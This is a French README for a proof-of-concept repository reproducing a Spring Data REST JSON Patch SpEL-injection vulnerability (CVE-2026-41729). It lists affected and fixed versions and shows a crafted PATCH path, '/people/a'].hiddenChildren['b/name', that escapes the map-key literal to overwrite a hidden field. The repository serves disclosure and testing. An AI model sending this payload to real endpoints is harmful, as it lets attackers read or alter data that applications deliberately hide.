
CVE-2026-41729 PoC
Ce dépôt est une Preuve de Concept (PoC) de reproduction minimale de CVE-2026-41729, divulguée via l'avis de sécurité officiel de Spring.
Spring Data REST SpEL Injection via Map Key in JSON PatchAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NSpring Data REST, lors du traitement des requêtes JSON Patch (Content-Type: application/json-patch+json), injectait directement le fragment de chemin de la clé de map d'une propriété de type Map dans une expression SpEL.
Selon l'avis officiel, si une entité persistante expose une propriété de type Map et qu'un attaquant peut envoyer une requête PATCH à cette ressource d'élément, il peut manipuler le segment de clé de map pour s'échapper du littéral d'indexeur de map prévu et forcer l'évaluation d'une sous-expression SpEL dans le contexte de la racine agrégée. Il a été divulgué que les chemins de patch en lecture et en écriture sont tous deux affectés.
Cette PoC utilise le chemin de patch en écriture pour montrer qu'un champ @JsonIgnore, normalement non exposé dans une représentation REST standard, est modifié via un chemin JSON Patch contrefait.
Produits affectés selon l'avis officiel :
Versions affectées :
3.7.0 - 3.7.194.3.0 - 4.3.164.4.0 - 4.4.144.5.0 - 4.5.115.0.0 - 5.0.5Versions corrigées :
3.7.204.3.174.4.154.5.12 ou 4.5.11.15.0.6 ou 5.0.5.1Le test lance une application Spring Boot réelle et envoie une requête HTTP PATCH à un point de terminaison de dépôt Spring Data REST.
L'objet domaine a la structure suivante :
people exposée à l'extérieurhiddenChildren présente dans chaque objet Person mais masquée dans les représentations Jackson/Spring Data RESTDans une réponse REST normale, hiddenChildren et les valeurs qu'elle contient ne sont pas visibles.
GET /wrappers/sample
Un JSON Patch ciblant directement la propriété masquée est rejeté.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
Cependant, en utilisant une clé de map contrefaite, on peut contourner le littéral de clé de map prévu lors de la conversion du chemin JSON Patch vers le chemin SpEL dans Spring Data REST, et atteindre le chemin de la propriété masquée.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
Avec la version vulnérable, cette requête réussit et la valeur interne est modifiée comme suit :
before -> after
Le test confirme qu'aucune clé réelle a'].hiddenChildren['b n'a été créée dans la map, mais que la propriété masquée a été modifiée en raison de l'échappement de l'expression.
Windows :
.\mvnw.cmd test
macOS/Linux :
./mvnw test
Résultat attendu avec la version vulnérable :
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
Un succès du test signifie que "le comportement vulnérable a été reproduit". Autrement dit, avec une dépendance vulnérable, la requête JSON Patch contrefaite réussit, prouvant une modification de l'état interne masqué.
Ce dépôt utilise le parent Spring Boot 3.5.14. Cette combinaison résout spring-data-rest-webmvc en version 4.5.11, qui fait partie du périmètre affecté 4.5.0 - 4.5.11 de l'avis officiel.
Un attaquant capable d'envoyer des requêtes JSON Patch à un point de terminaison Spring Data REST peut manipuler la clé de map pour provoquer une évaluation non intentionnée de chemin SpEL côté serveur. En conséquence, des valeurs internes du graphe d'objets, que l'application ne souhaitait pas exposer via sa représentation REST, peuvent être lues ou modifiées.
L'avis officiel a évalué l'impact sur la confidentialité et l'intégrité comme étant élevé.
L'avis officiel Spring mentionne :